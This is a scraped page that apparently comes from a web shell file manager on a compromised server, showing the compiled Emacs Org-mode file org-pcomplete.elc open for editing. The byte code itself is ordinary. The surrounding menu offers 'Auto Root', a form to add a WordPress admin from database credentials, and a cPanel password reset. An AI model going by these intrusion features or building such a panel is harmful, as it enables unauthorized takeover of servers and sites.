Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
emacs
27.2
lisp
org
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: org-pcomplete.elc
;ELC ;;; Compiled ;;; in Emacs version 27.2 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\210\300\303!\207" [require org-macs org-compat pcomplete] 2) #@120 Examine the thing at point and let the caller know what it is. The return value is a string naming the thing at point. (defalias 'org-thing-at-point #[0 "\304\305 \203 `\202 \306 {\262\304\307\310!\203 \311\312B\202G\307\313!\203* \311\314B\202G\307\315!\2038 \316\317\320!B\202G\307\321!\203P \322\304\323!)\262\203P \316\324B\202G\212\325\324x\210`Sf\326=\205g `S\206c `Sf\326=)\203q \327\324B\202G\212\330\324x\210\331\324x\210`Sf)\332=\203\211 \333\324B\202G\307\334\335\n\"!\203\246 \336`\337\"\204\240 `\320\225U\203\246 \340\324B\202G\341\342\"\203\277 \322\304\323!)\262\203\277 \343\324B\202G\212\344\305 x\210`Sf\345=\205\345 `S\206\323 `Sf\326=\205\345 `\337Z\206\341 `Sf\326=)\203\357 \346\324B\202G\341\347\"\203F\322\304\323!)\262\203F\305 \350 \203\351\324B\202A\212\352 \210\211`U\204 \307\353!\204%\351\324B\202@\307 !\2031\324y\210\202%\211`U\203=\354\324B\202@\351\324B)\262\202G\324)\207" [case-fold-search inhibit-changing-match-data org-tag-re org-property-re t line-beginning-position line-end-position org-match-line "[ ]*#\\+BEGIN: clocktable[ ]" "block-option" "clocktable" "[ ]*#\\+BEGIN_SRC[ ]" "src" "[ ]*#\\+\\(\\S-+\\):" "file-option" match-string-no-properties 1 "[ ]*#\\+[a-zA-Z_]*$" "[ ]*$" looking-at nil "-A-Za-z0-9_" 91 "link" "0-9" "a-zA-Z" 92 "tex" format "\\*+ \\(?:.+? \\)?\\(:\\)\\(\\(?::\\|%s\\)+\\)?[ ]*$" org-point-in-group 2 "tag" string-match "^\\*+ +\\S-*$" "todo" "^*" 42 "searchhead" "^[ ]*:\\S-*$" org-before-first-heading-p "drawer" org-end-of-meta-data "[ ]*:PROPERTIES:[ ]*$" "prop"] 5 (#$ . 505)]) #@86 Return list with both upcase and downcase version of all strings in LIST. (fn LIST) (defalias 'org-pcomplete-case-double #[257 "\300\211\211A\262\242\211\262\203 \227\226BB\262\202 \211\237\207" [nil] 6 (#$ . 2115)]) #@155 Return the qualified name of the Org completion entity at point. When completing for #+STARTUP, for example, this function returns "file-option/startup". (defalias 'org-command-at-point #[0 "\300 \211@\301\230\203 \211@A\205 \302A\227PP\202, \211@\303\230\203* \211@\302A\227Q\202, \211@\207" [org-thing-at-point "file-option" "/" "block-option"] 4 (#$ . 2349)]) #@61 Parse whitespace separated arguments in the current region. (defalias 'org-parse-arguments #[0 "\300 \301 \302\211\214}\210\212eb\210m\204, \303\302w\210`B\262\304\302w\210\305@`\"B\262\202 \306!\306!*B\207" [line-beginning-position line-end-position nil " \n[" "^ \n[" buffer-substring-no-properties reverse] 7 (#$ . 2723)]) #@69 Calls the right completion function for first argument completions. (defalias 'org-pcomplete-initial #[0 "\301\302\303 @!\206\n \210\207" [pcomplete-default-completion-function nil pcomplete-find-completion-function org-thing-at-point] 3 (#$ . 3067)]) #@42 Complete against all valid file options. (defalias 'pcomplete/org-mode/file-option #[0 "\301\302!\210\303\304\305\306\"\307\211$\207" [pcomplete-stub require org-element pcomplete--here #[0 "\302\303\304\305\"\304\306 \"\307\310\211\2037 \211@\311\312\"B\262\313\211\314\235\205# \315QB\262\311\316\"B\262A\266\202\202\f \262\262\304\317\320 \"$!\207" [org-options-keywords org-element-affiliated-keywords org-pcomplete-case-double append mapcar #[257 "\211\300P\207" [" "] 3 "\n\n(fn KEYWORD)"] #[257 "\211\300P\207" [": "] 3 "\n\n(fn KEYWORD)"] nil ("CENTER" "COMMENT" "EXAMPLE" "EXPORT" "QUOTE" "SRC" "VERSE") format "END_%s" "BEGIN_" ("EXPORT" "SRC") " " "ATTR_%s: " #[257 "\211\300P\207" [": "] 3 "\n\n(fn KEYWORD)"] org-get-export-keywords] 11] substring 2 nil] 5 (#$ . 3327)]) #@50 Complete arguments for the #+AUTHOR file option. (defalias 'pcomplete/org-mode/file-option/author #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "C\207" [user-full-name] 1] nil] 5 (#$ . 4132)]) #@48 Complete arguments for the #+DATE file option. (defalias 'pcomplete/org-mode/file-option/date #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "\301@!C\207" [org-time-stamp-formats format-time-string] 2] nil] 5 (#$ . 4339)]) #@49 Complete arguments for the #+EMAIL file option. (defalias 'pcomplete/org-mode/file-option/email #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "C\207" [user-mail-address] 1] nil] 5 (#$ . 4575)]) #@56 Complete arguments for the #+EXCLUDE_TAGS file option. (defalias 'pcomplete/org-mode/file-option/exclude_tags #[0 "\300\301!\210\302\303\304\211\211$\207" [require ox pcomplete--here #[0 "\205\n \301\302\303#C\207" [org-export-exclude-tags mapconcat identity " "] 4] nil] 5 (#$ . 4783)]) #@52 Complete arguments for the #+FILETAGS file option. (defalias 'pcomplete/org-mode/file-option/filetags #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "\205 \301\302\303#\207" [org-file-tags mapconcat identity " "] 4] nil] 5 (#$ . 5079)]) #@52 Complete arguments for the #+LANGUAGE file option. (defalias 'pcomplete/org-mode/file-option/language #[0 "\300\301!\210\302\303\304\211\211$\207" [require ox pcomplete--here #[0 "\301\302D!\207" [org-export-default-language pcomplete-uniquify-list "en"] 3] nil] 5 (#$ . 5331)]) #@54 Complete arguments for the #+PRIORITIES file option. (defalias 'pcomplete/org-mode/file-option/priorities #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "\303\304 \n$C\207" [org-priority-highest org-priority-lowest org-priority-default format "%c %c %c"] 5] nil] 5 (#$ . 5617)]) #@55 Complete arguments for the #+SELECT_TAGS file option. (defalias 'pcomplete/org-mode/file-option/select_tags #[0 "\300\301!\210\302\303\304\211\211$\207" [require ox pcomplete--here #[0 "\205\n \301\302\303#C\207" [org-export-select-tags mapconcat identity " "] 4] nil] 5 (#$ . 5909)]) #@51 Complete arguments for the #+STARTUP file option. (defalias 'pcomplete/org-mode/file-option/startup #[0 "\300\301\302\211\211$\205\f \202 \207" [pcomplete--here #[0 "\302\303\304\"! \211\203 \211@\211\305\230\203 \306\307\"\262A\266\202\202 \210\211\207" [org-startup-options pcomplete-args pcomplete-uniquify-list mapcar car "hidestars" delete "showstars"] 6] nil] 5 (#$ . 6202)]) #@48 Complete arguments for the #+TAGS file option. (defalias 'pcomplete/org-mode/file-option/tags #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "\301!C\207" [org-current-tag-alist org-tag-alist-to-string] 2] nil] 5 (#$ . 6598)]) #@49 Complete arguments for the #+TITLE file option. (defalias 'pcomplete/org-mode/file-option/title #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "\300\301 !\211\203 \302\303!!\206 \304\301 !C\207" [buffer-file-name buffer-base-buffer file-name-sans-extension file-name-nondirectory buffer-name] 4] nil] 5 (#$ . 6837)]) #@51 Complete arguments for the #+OPTIONS file option. (defalias 'pcomplete/org-mode/file-option/options #[0 "\300\301\302\211\211$\205\f \202 \207" [pcomplete--here #[0 "\301\302\303\304\305\300!\205 \211\2039 \211@\306!\211\2031 \211@\3078\211\203) \211\310PB\262\210A\266\202\202 \210A\266\202\202 \210\211\262\"!\207" [org-export-registered-backends pcomplete-uniquify-list append ("H:" "\\n:" "num:" "timestamp:" "arch:" "author:" "c:" "creator:" "date:" "d:" "email:" "*:" "e:" "::" "f:" "inline:" "tex:" "p:" "pri:" "':" "-:" "stat:" "^:" "toc:" "|:" "tags:" "tasks:" "<:" "todo:") nil boundp org-export-backend-options 2 ":"] 11] nil] 5 (#$ . 7169)]) #@54 Complete arguments for the #+INFOJS_OPT file option. (defalias 'pcomplete/org-mode/file-option/infojs_opt #[0 "\300\301\302\211\211$\205\f \202 \207" [pcomplete--here #[0 "\301\302\303\304\300!\205\n \"!\207" [org-html-infojs-opts-table pcomplete-uniquify-list mapcar #[257 "\300\301@\"\207" [format "%s:"] 4 "\n\n(fn ITEM)"] boundp] 5] nil] 5 (#$ . 7842)]) #@74 Complete arguments for the #+BIND file option, which are variable names. (defalias 'pcomplete/org-mode/file-option/bind #[0 "\300C\301\302\303\304\305\306!\307\"\310\311%!\210\312\302\313\314\305\306!\315\"\316$\300\211\211$\207" [nil mapatoms make-byte-code 257 "\301!\205 \300\302!\300\242B\240\207" vconcat vector [boundp symbol-name] 4 "\n\n(fn A)" pcomplete--here 0 "\300\242\207" [] 1] 8 (#$ . 8209)]) #@43 Complete against defined #+LINK patterns. (defalias 'pcomplete/org-mode/link #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "\302\303\304\305\306 \"\"!!\207" [org-link-abbrev-alist-local org-link-abbrev-alist pcomplete-uniquify-list copy-sequence mapcar #[257 "\211@\300P\207" [":"] 3 "\n\n(fn E)"] append] 7] nil] 5 (#$ . 8630)]) #@47 Complete against TeX-style HTML entity names. (defalias 'pcomplete/org-mode/tex #[0 "\301\302!\210\303\304\305\306\"\307\211$\205 \202 \207" [pcomplete-stub require org-entities pcomplete--here #[0 "\301\302\303\304\305\"\"!\207" [org-entities pcomplete-uniquify-list remove nil mapcar car-safe] 6] substring 1 nil] 5 (#$ . 8974)]) #@39 Complete against known TODO keywords. (defalias 'pcomplete/org-mode/todo #[0 "\300\301\302\211\211$\207" [pcomplete--here #[0 "\301\302!!\207" [org-todo-keywords-1 pcomplete-uniquify-list copy-sequence] 3] nil] 5 (#$ . 9316)]) #@102 Complete against all headings. This needs more work, to handle headings with lots of spaces in them. (defalias 'pcomplete/org-mode/searchhead #[0 "\301\302\303\304\"\305\211$\205 \202 \207" [pcomplete-stub pcomplete--here #[0 "\212eb\210\301\302\301\303#\203 \304\305 \306\"B\262\202 \307!\262)\207" [org-outline-regexp nil re-search-forward t substring org-link-heading-search-string 1 pcomplete-uniquify-list] 5] substring 1 nil] 5 (#$ . 9551)]) #@46 Complete a tag name. Omit tags already set. (defalias 'pcomplete/org-mode/tag #[0 "\301\302\303\304\"\205 \305\306\225\"\307\310$\205 \202 \207" [pcomplete-stub pcomplete--here #[0 "\301\302\303\304\305\301\306\"\"\206 \301\307\310 \"!\311\305\312\"\211\203* \211@\313\"\262A\266\202\202 \210\211\262\"\207" [org-current-tag-alist mapcar #[257 "\211\300P\207" [":"] 3 "\n\n(fn X)"] pcomplete-uniquify-list remq nil #[257 "\300@!\207" [org-string-nw-p] 3 "\n\n(fn X)"] car org-get-buffer-tags org-get-tags t delete] 8] string-match ".*:" substring 0 t nil] 5 (#$ . 10015)]) #@49 Complete a drawer name, including "PROPERTIES". (defalias 'pcomplete/org-mode/drawer #[0 "\301\302\303\304\"\305\211$\207" [pcomplete-stub pcomplete--here #[0 "\301\302\303\304C\212eb\210\305\306\307#\203- \310 \311!\312>\203) \313\314\"B\262\313\315\"b\210\210\202 )\316!\262\"!\207" [org-drawer-regexp org-pcomplete-case-double mapcar #[257 "\211\300P\207" [":"] 3 "\n\n(fn X)"] "PROPERTIES" re-search-forward nil t org-element-at-point org-element-type (drawer property-drawer) org-element-property :drawer-name :end pcomplete-uniquify-list] 8] substring 1 nil] 5 (#$ . 10609)]) #@57 Complete a property name. Omit properties already set. (defalias 'pcomplete/org-mode/prop #[0 "\301\302\303\304\"\305\211$\207" [pcomplete-stub pcomplete--here #[0 "\300\301\302\303\304\305\306\307\211#!!\310 \211\203\" \211@\311@\"\262A\266\202\202 \210\211\262\"!\207" [org-pcomplete-case-double mapcar #[257 "\211\300P\207" [": "] 3 "\n\n(fn X)"] pcomplete-uniquify-list copy-sequence org-buffer-property-keys nil t org-entry-properties delete] 9] substring 1 nil] 5 (#$ . 11207)]) #@118 Complete the arguments of a source block. Complete a language in the first field, the header arguments and switches. (defalias 'pcomplete/org-mode/block-option/src #[0 "\301\302\303\211\211$\210\304\305!\211@\306\307P!\310\311!\205 \312\313\"\"\301\314\315\316\317\320!\321\"\322$\303\211\211$\2055 \202 \207" [org-babel-common-header-args-w-values pcomplete--here #[0 "\300\301\302\303\304\305!\306\">A@A\"\207" [mapcar #[257 "\300\3018!\207" [symbol-name 3] 4 "\n\n(fn X)"] :key-type plist-get symbol-plist org-babel-load-languages custom-type] 6] nil org-babel-get-src-block-info light intern "org-babel-header-args:" org-babel-combine-header-arg-lists boundp eval t make-byte-code 0 "\301\302\303\300\"\304\"\207" vconcat vector [append mapcar #[257 "\300\301\302@!\"\207" [format ":%s" symbol-name] 5 "\n\n(fn ARG)"] ("-n" "-r" "-l")] 4] 11 (#$ . 11707)]) #@41 Complete keywords in a clocktable line. (defalias 'pcomplete/org-mode/block-option/clocktable #[0 "\300\301\302\211\211$\205\f \202 \207" [pcomplete--here #[0 "\300\207" [(":maxlevel" ":scope" ":lang" ":tstart" ":tend" ":block" ":step" ":stepskip0" ":fileskip0" ":emphasize" ":link" ":narrow" ":indent" ":hidefiles" ":tcolumns" ":level" ":compact" ":timestamp" ":formula" ":formatter" ":wstart" ":mstart")] 1] nil] 5 (#$ . 12584)]) (provide 'org-pcomplete)